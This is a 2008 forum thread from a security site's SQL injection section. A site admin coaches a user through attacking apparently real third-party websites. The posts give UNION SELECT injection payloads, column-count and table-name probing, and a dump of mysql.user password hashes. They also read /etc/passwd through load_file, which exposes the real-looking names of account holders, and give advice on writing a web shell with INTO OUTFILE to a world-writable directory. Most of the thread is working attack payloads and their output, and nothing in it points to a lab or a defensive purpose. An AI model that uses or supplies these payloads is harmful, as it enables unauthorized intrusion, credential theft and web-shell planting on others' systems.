Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 22, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 49 Members: 0 Total: 49 Full disclosure APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1 Local Privilege Escalations in needrestart APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2 APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1 APPLE-SA-11-19-2024-2 visionOS 2.1.1 APPLE-SA-11-19-2024-1 Safari 18.1.1 Reflected XSS - fronsetiav1.1 XXE OOB - fronsetiav1.1 St. Poelten UAS | Path Traversal in Korenix JetPort 5601 St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS) SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> help sql injection ? View previous topic :: View next topic help sql injection ? Posted: Mon Mar 10, 2008 12:29 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 hello , please what this ... Code: actualites2.php?categorie=1+order+by+1/* No error Code: actualites2.php?categorie=1+order+by+2/* No Error Code: actualites2.php?categorie=1+order+by+3/* Error Mysql ... so ? Code: actualites2.php?categorie=1+union+select+@@version,@@version/* Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION' thankx for all ... Posted: Mon Mar 10, 2008 1:03 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Use UNHEX(HEX(column)): Code: actualites2.php?categorie=-1+UNIOIN+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+ Posted: Mon Mar 10, 2008 3:31 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 waraxe wrote: Use UNHEX(HEX(column)): Code: actualites2.php?categorie=-1+UNIOIN+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNIOIN ALL SELECT UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--' at line 1 so ? no way Posted: Mon Mar 10, 2008 4:00 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu It's my typo ... Try this: Code: actualites2.php?categorie=-1+UNION+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+ Posted: Mon Mar 10, 2008 4:32 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 waraxe wrote: It's my typo ... Try this: Code: actualites2.php?categorie=-1+UNION+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+ but it is the Same waraxe ? Posted: Mon Mar 10, 2008 5:32 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu kr0k0 wrote: waraxe wrote: It's my typo ... Try this: Code: actualites2.php?categorie=-1+UNION+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+ but it is the Same waraxe ? Look here: Code: right syntax to use near 'UNIOIN Can you spot my typo Posted: Tue Mar 11, 2008 11:05 am kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 ok , waraxe i need a help please please please [ in other website ] it is very important look : Code: .php?id_pays=162+order+by+1 Error Code: .php?id_pays=162+order+by+999999 Error Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /loook/html/pb/site/annuaire.php on line 57 Please Waraxe please and THankx For aLL ... Posted: Tue Mar 11, 2008 6:31 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu You can't see detailed sql errors? So you must try various things and first mission is to get syntax right. Try: Code: .php?id_pays=162--+ Code: .php?id_pays=162)--+ Code: .php?id_pays=162))--+ If one of them will show normal page, then it means that you can now safely use commenting out method. So - first get syntax right and then make UNION work! Not vice versa! Posted: Tue Mar 11, 2008 7:12 pm kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 waraxe wrote: You can't see detailed sql errors? So you must try various things and first mission is to get syntax right. Try: Code: .php?id_pays=162--+ Code: .php?id_pays=162)--+ Code: .php?id_pays=162))--+ If one of them will show normal page, then it means that you can now safely use commenting out method. So - first get syntax right and then make UNION work! Not vice versa! Code: .php?id_pays=162--+ No Error Code: .php?id_pays=162)--+ Error Mysql ... Code: .php?id_pays=162))--+ Error Mysql ... Posted: Tue Mar 11, 2008 9:40 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Next try incremental UNION tests: Code: .php?id_pays=-1+UNION+ALL+SELECT+1--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,3--+ You know the drill ... Column count can be large number - even > 50. And there can be possibility, that specific sql server does not support UNION (example - old 3.x MySql). Posted: Wed Mar 12, 2008 10:53 am kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,3,4,5--+ Code: 5 3 Version Mysql : 4.x.x so , how i know table name of 'Users' [ Password ] ???? Posted: Wed Mar 12, 2008 1:50 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu As for mysql 4.x you can only try to guess table names. Try: Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+users--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+user--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admin--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admins--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+login--+ Try various possible table names with upper/lowercase variations. And look for html source code - <form> parameters can reveal useful hints about database table and column naming. Posted: Thu Mar 13, 2008 10:20 am kr0k0 Advanced user Joined: Jan 26, 2008 Posts: 128 Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+users--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+user--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admin--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admins--+ Code: .php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+login--+ Error Mysql ... , but from+mysql , is working Code: .php?id_pays=-1+union/**/select/**/1,2,unhex(hex(concat(user,0x3e,password))),4,5+from+mysql.user-- Select>143edbd13a581597 and Load_file() Code: .php?id_pays=-1+union/**/select/**/1,2,load_file(0x2F6574632F706173737764),4,5-- Code: Root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin gdm:x:42:42::/var/gdm:/sbin/nologin htt:x:100:101:IIIMF Htt:/usr/lib64/im:/sbin/nologin canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin arnould:x:1001:1000:Georges Arnould:/home/arnould:/bin/bash michau:x:1002:1000:Christophe Michau:/home/michau:/bin/bash mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash lakrache:x:1003:1000:Redouane Lakrache:/home/lakrache:/bin/bash So, what i do now ??? , i try with INTO OUFILE '/.../shell.php')/* , but No work ???????????? Posted: Thu Mar 13, 2008 11:18 am waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu INTO OUTFILE needs absolute file path, not relative!! This is where full path disclosure comes handy. You can see error messages? With file path details? Use this info and info from etc/passwd and other files to find out, where web root is located. You can try writing to tmp directory first and then tr to read that written file. If it works, then INTO OUTFILE can be done on specific target. And remember about file system permissions - INTO OUTFILE means mysql daemon UID, so you can't write files to most places. Try to find directory, which is accessible from web, but is chmoded to world writable. Example - upload directory. help sql injection ? www.waraxe.us Forum Index -> Sql injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.049 Seconds